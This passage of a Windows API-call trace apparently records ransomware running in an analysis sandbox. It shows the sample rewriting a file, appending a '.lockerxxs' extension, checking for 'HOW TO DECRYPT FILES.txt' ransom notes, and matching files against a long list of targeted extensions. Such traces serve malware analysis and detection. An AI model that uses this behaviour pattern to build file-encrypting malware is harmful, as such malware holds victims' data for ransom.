lpCreationTime=0x40752e*(dwLowDateTime=0xc1271800, dwHighDateTime=0x1c4481e), lpLastAccessTime=0x407536*(dwLowDateTime=0xef058230, dwHighDateTime=0x1d301be), lpLastWriteTime=0x40753e*(dwLowDateTime=0xc1271800, dwHighDateTime=0x1c4481e)) returned 1 [0058.589] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0058.589] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x9843, lpOverlapped=0x0) returned 1 [0058.591] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned="STOCKS.DAT" [0058.592] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0058.592] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x9843, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x9843, lpOverlapped=0x0) returned 1 [0058.592] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0058.592] CloseHandle (hObject=0x94) returned 1 [0058.594] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.lockerxxs")) returned 1 [0058.595] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x2000002, dwReserved1=0x4f6000, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0058.595] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.595] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="STOCKS.XML") returned -1 [0058.595] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="STOCKS.XML") returned -1 [0058.595] lstrcmpiA (lpString1="", lpString2="STOCKS.XML") returned -1 [0058.595] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned="STOCKS.DAT" [0058.595] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" [0058.595] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\") returned="" [0058.595] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt" [0058.595] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how to decrypt files.txt")) returned 0x20 [0058.595] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", lpString2="STOCKS.XML" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" [0058.596] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.ems") returned 0 [0058.596] lstrlenA (lpString="*.ems") returned 5 [0058.596] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.db") returned 0 [0058.596] lstrlenA (lpString="*.db") returned 4 [0058.596] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.dbf") returned 0 [0058.596] lstrlenA (lpString="*.dbf") returned 5 [0058.596] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.myox") returned 0 [0058.596] lstrlenA (lpString="*.myox") returned 6 [0058.596] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.myo") returned 0 [0058.596] lstrlenA (lpString="*.myo") returned 5 [0058.596] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.qbw") returned 0 [0058.596] lstrlenA (lpString="*.qbw") returned 5 [0058.596] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.qbb") returned 0 [0058.596] lstrlenA (lpString="*.qbb") returned 5 [0058.596] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.qbm") returned 0 [0058.596] lstrlenA (lpString="*.qbm") returned 5 [0058.596] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.qbo") returned 0 [0058.596] lstrlenA (lpString="*.qbo") returned 5 [0058.596] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.qbx") returned 0 [0058.596] lstrlenA (lpString="*.qbx") returned 5 [0058.596] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.qba") returned 0 [0058.596] lstrlenA (lpString="*.qba") returned 5 [0058.596] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.qby") returned 0 [0058.597] lstrlenA (lpString="*.qby") returned 5 [0058.597] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.qbj") returned 0 [0058.597] lstrlenA (lpString="*.qbj") returned 5 [0058.597] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.ofx") returned 0 [0058.597] lstrlenA (lpString="*.ofx") returned 5 [0058.597] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.qif") returned 0 [0058.597] lstrlenA (lpString="*.qif") returned 5 [0058.597] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.mye") returned 0 [0058.597] lstrlenA (lpString="*.mye") returned 5 [0058.597] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.mbox") returned 0 [0058.597] lstrlenA (lpString="*.mbox") returned 6 [0058.597] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.eml") returned 0 [0058.597] lstrlenA (lpString="*.eml") returned 5 [0058.597] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.pst") returned 0 [0058.597] lstrlenA (lpString="*.pst") returned 5 [0058.597] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.ost") returned 0 [0058.597] lstrlenA (lpString="*.ost") returned 5 [0058.597] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.idx") returned 0 [0058.597] lstrlenA (lpString="*.idx") returned 5 [0058.597] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.dbx") returned 0 [0058.597] lstrlenA (lpString="*.dbx") returned 5 [0058.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.sql") returned 0 [0058.598] lstrlenA (lpString="*.sql") returned 5 [0058.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.mdb") returned 0 [0058.598] lstrlenA (lpString="*.mdb") returned 5 [0058.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.fdb") returned 0 [0058.598] lstrlenA (lpString="*.fdb") returned 5 [0058.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.wab") returned 0 [0058.598] lstrlenA (lpString="*.wab") returned 5 [0058.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.dat") returned 0 [0058.598] lstrlenA (lpString="*.dat") returned 5 [0058.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.txt") returned 0 [0058.598] lstrlenA (lpString="*.txt") returned 5 [0058.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.jpeg") returned 0 [0058.598] lstrlenA (lpString="*.jpeg") returned 6 [0058.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.jpg") returned 0 [0058.598] lstrlenA (lpString="*.jpg") returned 5 [0058.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.png") returned 0 [0058.598] lstrlenA (lpString="*.png") returned 5 [0058.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.php") returned 0 [0058.598] lstrlenA (lpString="*.php") returned 5 [0058.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.cs") returned 0 [0058.598] lstrlenA (lpString="*.cs") returned 4 [0058.599] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.cpp") returned 0 [0058.599] lstrlenA (lpString="*.cpp") returned 5 [0058.599] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.rar") returned 0 [0058.599] lstrlenA (lpString="*.rar") returned 5 [0058.599] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.zip") returned 0 [0058.599] lstrlenA (lpString="*.zip") returned 5 [0058.599] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.html") returned 0 [0058.599] lstrlenA (lpString="*.html") returned 6 [0058.599] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.htm") returned 0 [0058.599] lstrlenA (lpString="*.htm") returned 5 [0058.599] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.xlsx") returned 0 [0058.599] lstrlenA (lpString="*.xlsx") returned 6 [0058.599] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.xls") returned 0 [0058.599] lstrlenA (lpString="*.xls") returned 5 [0058.599] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.mp4") returned 0 [0058.599] lstrlenA (lpString="*.mp4") returned 5 [0058.599] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.ppt") returned 0 [0058.599] lstrlenA (lpString="*.ppt") returned 5 [0058.599] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.pptx") returned 0 [0058.599] lstrlenA (lpString="*.pptx") returned 6 [0058.599] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.doc") returned 0 [0058.600] lstrlenA (lpString="*.doc") returned 5 [0058.600] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.dot") returned 0 [0058.600] lstrlenA (lpString="*.dot") returned 5 [0058.600] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.docx") returned 0 [0058.600] lstrlenA (lpString="*.docx") returned 6 [0058.600] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.7z") returned 0 [0058.600] lstrlenA (lpString="*.7z") returned 4 [0058.600] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.tar") returned 0 [0058.600] lstrlenA (lpString="*.tar") returned 5 [0058.600] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.bz2") returned 0 [0058.600] lstrlenA (lpString="*.bz2") returned 5 [0058.600] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.gz") returned 0 [0058.600] lstrlenA (lpString="*.gz") returned 4 [0058.600] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.mkv") returned 0 [0058.600] lstrlenA (lpString="*.mkv") returned 5 [0058.600] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.eml") returned 0 [0058.600] lstrlenA (lpString="*.eml") returned 5 [0058.600] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.msg") returned 0 [0058.600] lstrlenA (lpString="*.msg") returned 5 [0058.600] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.edb") returned 0 [0058.600] lstrlenA (lpString="*.edb") returned 5 [0058.600] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.accdb") returned 0 [0058.601] lstrlenA (lpString="*.accdb") returned 7 [0058.601] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.odb") returned 0 [0058.601] lstrlenA (lpString="*.odb") returned 5 [0058.601] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.java") returned 0 [0058.601] lstrlenA (lpString="*.java") returned 6 [0058.601] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.asm") returned 0 [0058.601] lstrlenA (lpString="*.asm") returned 5 [0058.601] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.pfx") returned 0 [0058.601] lstrlenA (lpString="*.pfx") returned 5 [0058.601] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.pem") returned 0 [0058.601] lstrlenA (lpString="*.pem") returned 5 [0058.601] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.p12") returned 0 [0058.601] lstrlenA (lpString="*.p12") returned 5 [0058.601] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.gpg") returned 0 [0058.601] lstrlenA (lpString="*.gpg") returned 5 [0058.601] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.vsd") returned 0 [0058.601] lstrlenA (lpString="*.vsd") returned 5 [0058.601] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.odg") returned 0 [0058.601] lstrlenA (lpString="*.odg") returned 5 [0058.601] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.raw") returned 0 [0058.601] lstrlenA (lpString="*.raw") returned 5 [0058.602] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.nef") returned 0 [0058.602] lstrlenA (lpString="*.nef") returned 5 [0058.602] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.svg") returned 0 [0058.602] lstrlenA (lpString="*.svg") returned 5 [0058.602] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.psd") returned 0 [0058.602] lstrlenA (lpString="*.psd") returned 5 [0058.602] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.vmx") returned 0 [0058.602] lstrlenA (lpString="*.vmx") returned 5 [0058.602] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.vmdk") returned 0 [0058.602] lstrlenA (lpString="*.vmdk") returned 6 [0058.602] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.vdi") returned 0 [0058.602] lstrlenA (lpString="*.vdi") returned 5 [0058.602] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.lay6") returned 0 [0058.602] lstrlenA (lpString="*.lay6") returned 6 [0058.602] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.mpeg") returned 0 [0058.602] lstrlenA (lpString="*.mpeg") returned 6 [0058.602] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.djvu") returned 0 [0058.602] lstrlenA (lpString="*.djvu") returned 6 [0058.602] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.tiff") returned 0 [0058.602] lstrlenA (lpString="*.tiff") returned 6 [0058.602] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.backup") returned 0 [0058.602] lstrlenA (lpString="*.backup") returned 8 [0058.602] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.pdf") returned 0 [0058.602] lstrlenA (lpString="*.pdf") returned 5 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.cert") returned 0 [0058.603] lstrlenA (lpString="*.cert") returned 6 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.docm") returned 0 [0058.603] lstrlenA (lpString="*.docm") returned 6 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.xlsm") returned 0 [0058.603] lstrlenA (lpString="*.xlsm") returned 6 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.dwg") returned 0 [0058.603] lstrlenA (lpString="*.dwg") returned 5 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.nd") returned 0 [0058.603] lstrlenA (lpString="*.nd") returned 4 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.tlg") returned 0 [0058.603] lstrlenA (lpString="*.tlg") returned 5 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.lgb") returned 0 [0058.603] lstrlenA (lpString="*.lgb") returned 5 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.mov") returned 0 [0058.603] lstrlenA (lpString="*.mov") returned 5 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.xdw") returned 0 [0058.603] lstrlenA (lpString="*.xdw") returned 5 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.ods") returned 0 [0058.603] lstrlenA (lpString="*.ods") returned 5 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.wav") returned 0 [0058.603] lstrlenA (lpString="*.wav") returned 5 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.mp3") returned 0 [0058.603] lstrlenA (lpString="*.mp3") returned 5 [0058.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.aiff") returned 0 [0058.604] lstrlenA (lpString="*.aiff") returned 6 [0058.604] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.flac") returned 0 [0058.604] lstrlenA (lpString="*.flac") returned 6 [0058.604] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.m4a") returned 0 [0058.604] lstrlenA (lpString="*.m4a") returned 5 [0058.604] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", pszSpec="*.csv") returned 0 [0058.604] lstrlenA (lpString="*.csv") returned 5 [0058.604] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x4c0049, dwReserved1=0x530045, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0058.604] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.604] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TIME.XML") returned -1 [0058.604] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TIME.XML") returned -1 [0058.604] lstrcmpiA (lpString1="", lpString2="TIME.XML") returned -1 [0058.604] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned="STOCKS.XML" [0058.604] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" [0058.604] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\") returned="" [0058.604] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt" [0058.604] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how to decrypt files.txt")) returned 0x20 [0058.604] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", lpString2="TIME.XML" | out: 